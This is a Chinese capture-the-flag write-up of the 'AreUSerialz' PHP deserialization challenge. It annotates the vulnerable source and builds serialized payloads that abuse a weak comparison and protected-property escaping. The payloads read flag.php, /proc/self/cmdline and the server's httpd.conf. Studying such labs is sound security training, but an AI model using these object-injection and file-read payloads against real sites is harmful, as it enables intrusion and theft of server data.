AreUSerialz-[网鼎杯 2020 青龙组]-[传送门->BUUCTF]

本文阅读 5 分钟
首页 代码,C/C#/C++ 正文

1.AreUSerialz-[网鼎杯 2020 青龙组]-[传送门->BUUCTF]

第一步:打开题目环境,进行代码审计

<?php

include("flag.php");                //文件包含flag.php
    
highlight_file(__FILE__);            //高亮显示当前页面源码

class FileHandler {                    //类:FileHandler

    protected $op;                    //保护属性:$op
    protected $filename;            //保护属性:$filename
    protected $content;                //保护属属性:$content

    function __construct() {        //构造方法__construct():实例化当前类前,自动被调用。用来给属性初始化
        $op = "1";                    //属性$op赋值为字符串1
        $filename = "/tmp/tmpfile";    //属性$filename赋值为/tmp/tmpfile
        $content = "Hello World!";    //属性$content赋值为Hello World
        $this->process();            //调用process()自定义方法
    }

    public function process() {            //公有自定义方法: process()
        if($this->op == "1") {            //判断属性$op是否若等于字符串1,只要值相同即可
            $this->write();                //若弱相等,调用write()自定义方法
        } else if($this->op == "2") {    //判断属性$op是否弱等于2,只要值相同即可
            $res = $this->read();        //若弱相等,调用read()方法,并且结果赋值
            $this->output($res);        //调用output()方法,输出上面的结果
        } else {                        //若不弱等于1或2,执行以下内容
            $this->output("Bad Hacker!");
        }
    }
//很明显:
//若属性$op弱等于1,则调用write()
//若属性$op弱等于2,则调用read()和output()

    private function write() {                                    //私有方法:write()
        if(isset($this->filename) && isset($this->content)) {    //判断属性filename和content是否已设置,且不为NULL
            if(strlen((string)$this->content) > 100) {            //判断属性content的字符串类型的时候的长度是否大于100
                $this->output("Too long!");                        //若大于100,则输出Too long
                die();                                            //退出脚本
            }
            $res = file_put_contents($this->filename, $this->content);    //写入文件
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
//很明显:只是写入文件

    private function read() {                            //私有方法:read()
        $res = "";                                        //变量$res
        if(isset($this->filename)) {                    //判断属性filename是否已设置,且不为NULL
            $res = file_get_contents($this->filename);    //读取以filename为名的文件内容,且读成字符串数据类型,赋值给$res变量
        }
        return $res;                                    //返回结果
    }
//很明显:结合以上内容,只要我们的$op=="2"且$filename='flag.php',那么就会打印flag.php

    private function output($s) {                        //私用方法:output($s)
        echo "[Result]: <br>";                            
        echo $s;
    }
//很明显使用$s传递参数,用来打印内容

    function __destruct() {            //析构方法__destruct():在当前类的实例化对象销毁去,自动被调用
        if($this->op === "2")        //判断op是否全等于2,若是则赋值为1
            $this->op = "1";
        $this->content = "";        //content置空
        $this->process();            //执行process()方法
    }

}


function is_valid($s) {                                    //函数:is_valid($s),使用$s传递参数
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
//很明显:判断传来的参数值的每个字符的ASCII码是否>=32且<=125,否则就返回false

if(isset($_GET{'str'})) {            //后台判断是否以GET形式读取到了str参数,且不为NULL

    $str = (string)$_GET['str'];    //转为字符串类型
    if(is_valid($str)) {            //使用函数is_valid()过滤一遍,若满足每个字符都>=32且<=125,才执行下面的反序列化
        $obj = unserialize($str);
    }

}

第二步:思路

倒推法:

output($res)-->read()-->$filename='flag.php'-->$op == "2"-->process()-->destruct()-->不满足$op === "2"
因此要实例化当前类的对象,属性op等于数值2,属性filename等于flag.php,绕过保护属性

第三步:编写代码,构造payload

<?php
class FileHandler {                    
    protected $op = 2;                    
    protected $filename = 'flag.php';            
    protected $content;    
}
$chen = new FileHandler();
$chen = serialize($chen);
echo $chen."<br />";
//O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";N;}
$chen = str_replace(chr(00),'\00',$chen);    #绕过保护属性序列化后字符串中不可见字符不可赋值的问题
echo $chen."<br />";
//O:11:"FileHandler":3:{s:5:"\00*\00op";i:2;s:11:"\00*\00filename";s:8:"flag.php";s:10:"\00*\00content";N;}
$chen = str_replace('s','S',$chen);    #绕过保护属性序列化后字符串中不可见字符不可赋值的问题
echo $chen."<br />";
//O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}

#测试过滤问题
function is_valid($s) {                                    //函数:is_valid($s),使用$s传递参数
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
var_dump(is_valid($chen));
//bool(true)

payload:

?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";N;}

第四步:提交payload,获取flag

图略

<?php $flag='flag{5a1c2f61-40c8-47ca-971c-af8c1888dfae}';

2.注意问题:

1.真实比赛的时候,需要访问绝对路径,才能获得flag.php的内容

2.可能原因:__destruct()需要对象销毁前才能调用,本题目是在脚本结束的时候,去进行的销毁对象。此时的析构方法又可能在脚本结束的时候发生目录穿越,导致当前目录并不是网站根目录了

3.获取当前目录方法:

  可以读取/proc/self/cmdline文件找到当前路径获取配置信息/web/config/httpd.conf
  
  然后读取/web/config/http.conf文件找到了网站根目录/web/html/
    
  然后读取/web/html/flag.php
<?php
class FileHandler {
    public $op = 2;
    #public $filename = '/proc/self/cmdline';
    #public $filename = '/web/config/httpd.conf';
    public $filename = '/web/html/flag.php';
    public $content;
}
$chen = new FileHandler();
$chen = serialize($chen);
echo $chen."<br />";
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/proc/self/cmdline";s:7:"content";N;}
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:22:"/web/config/httpd.conf";s:7:"content";N;}
//O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";N;}

payload1:?str=O:11:“FileHandler”:3:{s:2:“op”;i:2;s:8:“filename”;s:18:"/proc/self/cmdline";s:7:“content”;N;}

payload2:?str=O:11:“FileHandler”:3:{s:2:“op”;i:2;s:8:“filename”;s:22:"/web/config/httpd.conf";s:7:“content”;N;}

payload3:?str=O:11:“FileHandler”:3:{s:2:“op”;i:2;s:8:“filename”;s:18:"/web/html/flag.php";s:7:“content”;N;}

3.总结

Private、protecte序列化后产生不可见字符

private属性序列化的时候格式是%00类名%00成员名

protecte属性序列化的时候格式是%00*%00成员

PHP7.1以上的反序列化不会判断里面参数的属性类型了,所以可以改成public再进行反序列化,绕过private、protected序列化后产生不可见字符

若在7.1以及7.1以下,我们可以使用如下方法绕过:
$chen = str_replace(chr(00),'\00',$chen);
$chen = str_replace('s','S',$chen);
linux提供了/proc/self/目录
//注意:这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的信息。

maps             记录一些调用的扩展或者自定义 so 文件

environ         环境变量

comm             当前进程运行的程序

cmdline         程序运行的绝对路径

cpuset docker     环境可以看 machine ID

cgroup docker    环境下全是 machine ID 不太常用
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/110003045
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复